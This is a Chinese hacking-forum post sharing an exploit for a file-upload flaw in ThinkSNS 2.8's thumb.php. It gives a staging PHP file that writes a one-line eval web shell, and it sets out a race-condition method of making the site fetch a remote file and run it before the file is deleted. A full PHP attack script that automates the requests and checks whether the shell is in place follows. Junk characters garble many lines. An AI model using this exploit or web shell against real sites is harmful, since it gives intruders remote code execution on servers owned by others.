找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2048|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本4 q; p& B6 y" v
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)
" _# ]/ I& g9 |漏洞文件. I  k8 {4 x5 b( f! z' g2 i* @5 A
存在漏洞的文件为:thumb.php# l+ Q! J# O% H6 @4 \7 C( M
作者:韦鲲鹏
' M7 n  \! F+ V- b1、        准备如下PHP文件并上传到服务器(自己的)。
* v% }1 ]5 W% v文件内容如下:
+ r0 S0 T1 ~3 B& j- C0 |$ \<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
$ z, k- A; m- L! A2、        计算出临时的文件名:
. S; v4 X6 E/ E9 J" y: ?8 ^% g: s这里我们可以看文件的99行(刚刚是不是没注意呀!)。
, d0 J( ?0 S/ j2 ?4 f  [4 ], k* p8 d
3、        上传临时文件。7 ~) ?, W# x& c  Q/ ^  {& q
4、        访问临时文件。4 e! E7 l9 y% [
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。). C0 B* M. ]1 D8 ]: W
Exploit文件内容如下:(这个我就不详细解释了): N" t1 ~7 T: _8 R
<?php, _: U/ o' s# J' I, p7 g) M
error_reporting(0);
% Q, F  S9 J( ~8 E. j% @set_time_limit(0);
& [# u  W% x) a& G# |) `ini_set(“default_socket_timeout”, 5);
" E: B8 a9 E5 H' _) L8 N/ gfunction http_send($host, $port, $headers) {1 A) R- r4 ~. B6 N9 p
$fp = fsockopen($host, $port);
; z5 L$ J; h3 |; j& H/ m! u, tif (!$fp) die(‘Connection -> fail’);8 q' ?" o% X4 ~1 q0 P: z
fputs($fp, $headers);
" n4 Z5 H- Y/ Sreturn $fp;
5 ?7 V& U) e# _* n) D2 c}& I' {# Y3 p7 q* P# ?0 v
function http_recv($fp) {
9 Z0 b& |" l2 f1 [8 Y$ret=”";4 R' U# t$ o7 ^- O/ k3 _
while (!feof($fp))
+ b# `: c0 `" P$ A; |7 j2 H$ret.= fgets($fp, 1024);
9 K- o( T( D; T  Tfclose($fp);
+ p. o' @- \7 n' _  A5 q: s( areturn $ret;6 I1 M$ d- X5 a& V/ i: ]) |
}
) W3 X/ W# H! G2 i- u8 ^' d' jprint “\n#  ThinkSns Arbitrary File Upload   #\n”;. U; K2 _6 q+ ?/ {4 j
print “# Discovered by 韦鲲鹏 #\n\n”;; K$ T1 ]9 p6 \5 ~% G. I8 q% [% G: v
if ($argc < 4) {: F' k% M! R6 l- u$ ?: Y
print “Usage:   php <host> <path> <romote_url>\n”;$ s$ k7 q% ^8 |, Y# F$ J: y+ k
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;. e' i; n2 P3 D7 X! c9 D9 z
die();
/ j6 ^9 G1 w: b- w}& ?9 D' Z4 ]1 [5 Z
$host = $argv[1];3 o' u- {9 j, }
$path = $argv[2];
& }" I! T  b9 i& @# f6 Y$url = $argv[3];
1 c. N, i3 E6 \4 s$i=0;
, i1 ?6 l- y5 F+ }//上传数据包' }1 h/ P+ _  y+ D4 X0 Z% i
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
8 Z) G/ o) E) N5 y2 Q* Q& p2 w5 ^- s$headers_up .= “Host: “.$host.”\r\n”;
! ^. S. R# z! v! l: O$headers_up .= “Connection: close\r\n\r\n”;0 d5 f3 [  `& T- ^
echo $headers_up;( A! J" ~2 o# E/ R9 q; f
//临时文件访问数据包: [9 Z* c  N- [$ a: _5 j
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
1 ^7 Y; z2 ]& N$headers .= “Host: “.$host.”\r\n”;  ?9 K  f8 }# a
$headers .= “Connection: close\r\n\r\n”;
' v4 i  F' o$ D) ?( T4 `echo $headers;
) @$ J% V, A5 D- l) q$ m' Jwhile(++$i<10) {
/ O. M' j/ \4 E9 u, b, S! u8 Vfclose(http_send($host, 80, $headers));
7 m2 F3 a) C! t/ E' E4 ~}' U+ R& m* G  }/ e2 q/ Q; o+ S4 S& ]
fclose(http_send($host, 80, $headers_up));
8 E2 C2 o+ e+ ?; u. `6 _while(++$i<50) {! v  i- w1 l/ I6 l% F/ S  a& @
fclose(http_send($host, 80, $headers));
- B7 A5 \+ h; O0 ~  {5 t; ]}
8 y9 Z. k5 e- F$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
7 E# q% p% ~3 x4 |3 j8 {$headers .= “Host: “.$host.”\r\n”;
, R& p2 W$ r& W# }9 ]$headers .= “Connection: close\r\n\r\n”;! F8 f: |, X: e6 O0 q4 |( X
$res=http_recv(http_send($host, 80, $headers));( J# E* M: J: R
if(preg_match(‘/200 OK/’,$res)) {
# W* H  L5 P( t; Fprint “Success!\n\n”;7 x! a" \1 G+ t3 W4 g+ U
} else {$ k4 f  f1 B7 t, N
print “Fail!\n\n”;6 A) ?7 p/ f( I; b' |! {# ?
}1 b. {6 j) W. w8 l- Z; S
?>
# E+ B& j" F9 B4 b3 |" G2 I) \4 s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表